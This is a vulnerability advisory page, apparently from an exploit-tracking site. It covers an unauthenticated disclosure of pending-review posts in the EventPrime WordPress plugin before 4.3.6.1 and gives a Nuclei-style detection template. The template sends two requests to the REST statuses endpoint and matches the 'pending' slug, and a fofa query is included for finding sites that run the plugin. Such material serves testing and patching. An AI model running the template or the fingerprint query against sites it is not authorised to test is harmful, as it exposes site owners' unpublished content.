CVE-2026-118523: EventPrime < 4.3.6.1 - Unauthenticated Pending Post Disclosure

2026-11-09 PoC Public

Description

EventPrime WordPress plugin < 4.3.6.1 contains a broken access control vulnerability caused by improper handling of Pending Review post status, letting unauthenticated users view non-public content awaiting review, exploit requires no authentication.

Details

CVE
CVE-2026-118523 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-118523

info:
  name: EventPrime < 4.3.6.1 - Unauthenticated Pending Post Disclosure
  author: maulanawirawan
  severity: medium
  description: |
    EventPrime WordPress plugin < 4.3.6.1 contains a broken access control vulnerability caused by improper handling of Pending Review post status, letting unauthenticated users view non-public content awaiting review, exploit requires no authentication.
  impact: |
    Unauthenticated users can view unpublished posts and pages, leading to information disclosure.
  remediation: |
    Update to version 4.3.6.1 or later.
  reference:
    - https://wpscan.com/vulnerability/d3cdae3c-79a4-4daf-8fe4-b03cd589beb4/
    - https://plugins.trac.wordpress.org/changeset?old_path=/eventprime-event-calendar-management/tags/4.3.6.0&new_path=/eventprime-event-calendar-management/tags/4.3.6.1
    - https://nvd.nist.gov/vuln/detail/CVE-2026-118523
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-118523
    epss-score: 0.00467
    epss-percentile: 0.4071
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 2
    vendor: eventprime
    product: eventprime-event-calendar-management
    fofa-query: body="eventprime-event-calendar-management"
  tags: cve,cve2026,wp,wordpress,wp-plugin,eventprime,disclosure,unauth

http:
  - raw:
      - |
        GET /wp-json/wp/v2/statuses HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /?rest_route=/wp/v2/statuses HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_all(body, "\"slug\":\"emexpired\"", "\"slug\":\"pending\"")'
        condition: and
# digest: 4b0a00483046022100ed245d0657c7a98074365681d898bc6f432ab8d2ef0d59a1cd1318fc74d5387f022100b360f700fa2588edfd2723088a4b10f00a4f51798f4ff40f3711573ccb51d13d:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life